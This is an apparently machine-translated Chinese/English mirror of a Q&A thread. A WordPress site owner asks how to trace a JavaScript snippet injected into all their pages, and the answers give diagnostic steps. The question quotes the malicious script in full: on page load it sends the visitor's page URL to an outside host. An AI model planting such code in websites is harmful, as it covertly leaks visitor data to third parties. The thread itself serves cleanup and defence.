简体   繁体   English

如何确定插入的(可能是恶意的)JavaScript代码来自何处

[英]How do I to figure out where inserted (possibly malicious) JavaScript code is coming from

Suddenly I have noticed that all my pages contain some unexpected JavaScript code. 突然我发现我所有的页面都包含一些意外的JavaScript代码。

I don't check every day the source code. 我不会每天检查源代码。 but today I need to debug something and then I see this code in all my pages. 但是今天我需要调试一些东西,然后在所有页面上看到此代码。

I am using WordPress Multisite version 4.1.2. 我正在使用WordPress Multisite版本4.1.2。

All plugins on the site are from wordpress.org with the latest updated. 该网站上的所有插件均来自wordpress.org,具有最新更新。

The question is how can I find out where code (from which file) is coming from? 问题是如何找出代码(来自哪个文件)的来源? I have search in all the files using notepad++ and did not find this code in any file! 我已使用notepad ++搜索了所有文件,但未在任何文件中找到此代码!

<script type="text/javascript" >
    var idPin = ""; 
    function postTest(idPin) {
        var xmlhttp; 
        if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } 
        else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } 
        var baseLocation = encodeURIComponent(document.URL);
        var req = "http://blockgroup.pw/testpost"; 
        d = "url=" + baseLocation + "&geo=" + idPin; xmlhttp.open("POST", req ,true);

        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 
        xmlhttp.send(d); 
    } 
    window.onload = function() { postTest(idPin); }
</script>

You try a couple things since Wordpress uses the Hooks to call respective parts. 由于Wordpress使用挂钩来调用各个部分,因此您尝试了几件事。 You could output them all and search for something related to this in the footer section. 您可以全部输出它们,然后在页脚部分中搜索与此相关的内容。

A. 一种。

-- functions.php -- -functions.php-

function list_hooked_functions($tag=false){
 global $wp_filter;
 if ($tag) {
  $hook[$tag]=$wp_filter[$tag];
  if (!is_array($hook[$tag])) {
  trigger_error("Nothing found for '$tag' hook", E_USER_WARNING);
  return;
  }
 }
 else {
  $hook=$wp_filter;
  ksort($hook);
 }
 echo '<pre>';
 foreach($hook as $tag => $priority){
  echo "<br />&gt;&gt;&gt;&gt;&gt;\t<strong>$tag</strong><br />";
  ksort($priority);
  foreach($priority as $priority => $function){
  echo $priority;
  foreach($function as $name => $properties) echo "\t$name<br />";
  }
 }
 echo '</pre>';
 return;
}

list_hooked_functions();

I assume since its JS that it will hook unto the wp_print_footer_scripts sequence. 我假设由于它的JS,它将钩接到wp_print_footer_scripts序列。 Which you can then go up the chain of calls and filter the specific function outputting the script. 然后,您可以向上调用链并过滤输出脚本的特定函数。

https://developer.wordpress.org/reference/ https://developer.wordpress.org/reference/

To understand the structure of the functions involved. 了解所涉及功能的结构。

B. B.

Another thing is that if the hacker managed to get access unto the Database maybe searching for the related script mention in the Database could be it. 另一件事是,如果黑客设法获得对数据库的访问权限,则可能在数据库中搜索相关的脚本。 (though i doubt) (尽管我怀疑)

C. C。

See if you use any vulnerable code in your theme such as an incorperated gallery plugin inside the theme (which doesnt get updated) contrary to those installed via the Admin panel. 查看您是否在主题中使用了任何易受攻击的代码,例如主题中内置的图库插件(不会更新),与通过“管理”面板安装的代码相反。

To be noted: often they will use a base64 string which they will then call the decode on in the process thus you wont be able to find the JS code as plain text. 需要注意的是:他们通常会使用base64字符串,然后在处理过程中调用它们,因此您将无法找到纯文本形式的JS代码。

RevSlider had a vulnerability not too long ago. RevSlider不久前就有一个漏洞。

D. D.

Use a security plugin such as wordfence which can scan your files for suspicious code. 使用安全插件(如wordfence)可以扫描文件中的可疑代码。

https://wordpress.org/plugins/wordfence https://wordpress.org/plugins/wordfence

Once you find and removed the malicious code please make sure to change your passwords 找到并删除了恶意代码后,请确保更改密码

--- Additional Information --- - - 附加信息 - -

There seems to be a lot going on in the wordpress realm and it pretty much affects a lot if you are using the Wordpress Comment Box. Wordpress领域似乎发生了很多事情,如果您使用Wordpress Comment Box,它会影响很多事情。

Current versions of WordPress are vulnerable to a stored XSS. 当前版本的WordPress容易受到存储的XSS的攻击。 An unauthenticated attacker can inject JavaScript in WordPress comments. 未经身份验证的攻击者可以在WordPress注释中注入JavaScript。 The script is triggered when the comment is viewed. 查看评论时将触发脚本。 (27 April 2015) (2015年4月27日)

Source : http://klikki.fi/adv/wordpress2.html 资料来源: http : //klikki.fi/adv/wordpress2.html

-- Please let us know if you get any lead with any of the above. -如果您在上述任何方面有任何领先优势,请告诉我们。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM